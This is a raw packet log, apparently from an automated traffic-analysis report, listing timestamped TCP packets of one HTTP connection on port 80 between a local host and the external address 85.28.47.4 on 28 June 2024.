Jun 28, 2024 13:35:59.502351999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.502355099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.502377033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.502396107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.509093046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509115934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509125948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509147882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.509162903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.509859085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509885073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509896994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509906054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.509907007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509918928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509928942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509932041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.509938955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509949923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509958029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.509960890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509968042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.509970903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.509989977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.509995937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510004997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510006905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510018110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510029078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510030985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510046959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510056019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510080099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510092020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510102034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510113001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510114908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510122061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510138035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510163069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510401011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510411024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510421038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510432005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510440111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510442972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510453939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510463953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510484934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510734081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510751963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510767937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510775089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510778904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510790110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510797024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510801077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510811090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.510811090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510837078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.510847092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511171103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511182070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511192083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511203051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511213064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511215925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511224031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511234999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511239052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511249065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511269093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511606932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511616945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511629105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511640072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511647940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511650085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511662006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511672020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511673927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511682987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511683941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511693954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.511713982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.511745930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512156963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512168884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512178898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512190104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512200117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512201071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512212992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512223005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512223959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512234926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512247086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512247086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512258053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512265921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512275934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512305975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512725115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512737036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512748003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512758970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512770891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512770891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512782097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.512797117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.512811899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.513274908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.513286114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.513320923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.575445890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.575459003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.575469971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.575535059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.575562000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.575572014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.575582981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.575611115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.575617075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.575617075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.575618029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.575680017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.575680017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.584230900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.584285975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.584445953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.584456921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.584467888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.584479094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.584492922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.584506989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.584536076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.584536076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.584536076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.584575891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.592601061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592612982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592623949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592658997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.592694998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.592715025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592725992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592736959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592747927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592760086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.592787981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.592951059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592961073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592971087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.592982054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593005896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593017101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593028069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593039036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593049049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593121052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.593528032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593539000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593549013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593559027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593569040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593595028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.593627930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.593780041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593839884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.593923092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593933105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593943119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593951941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593961954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.593971968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.594000101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.598942041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.598994017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599008083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599020958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599049091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599078894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599129915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599139929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599178076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599323034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599334002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599370956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599416971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599426031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599436045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599447012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599457979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599463940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599467993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599486113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599513054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599747896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599759102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599767923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599797964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599831104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599864006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599874020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599895954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599905968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.599912882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599912882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.599944115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600208998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600219011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600228071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600238085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600248098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600256920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600267887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600277901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600282907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600282907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600282907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600332022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600332022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600665092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600673914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600682974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600692987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600702047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600711107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600720882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600729942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.600729942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600729942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600764036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.600764036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601058960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601069927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601078987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601089001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601099014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601113081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601113081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601145983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601794958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601805925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601815939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601825953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601835966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601867914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601867914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601869106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601914883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601924896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601933956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601943970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601953983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601953983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601978064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601978064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601978064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.601989985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.601999044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602001905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.602009058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602020025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602025032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.602029085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602046967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.602065086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.602648020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602658987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602669001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602679968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602689981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602699041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.602699995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602710962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.602720976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.602751017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.602751970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.603028059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.603038073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.603048086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.603058100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.603068113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.603075981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.603077888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.603108883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.603110075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836235046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836256981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836267948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836286068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836296082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836297989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836306095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836317062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836325884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836337090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836344957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836344957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836365938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836389065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836497068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836524010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836533070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836534023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836544037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836554050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836564064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836571932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836574078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836571932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836592913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836621046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836622000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836857080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836899996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.836986065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.836996078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837006092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837016106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837025881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837034941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.837035894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837034941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.837047100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837055922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.837059021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837069988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837080956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837083101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.837083101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.837090969 CEST	80	49705	85.28.47.4	192.168.2.5
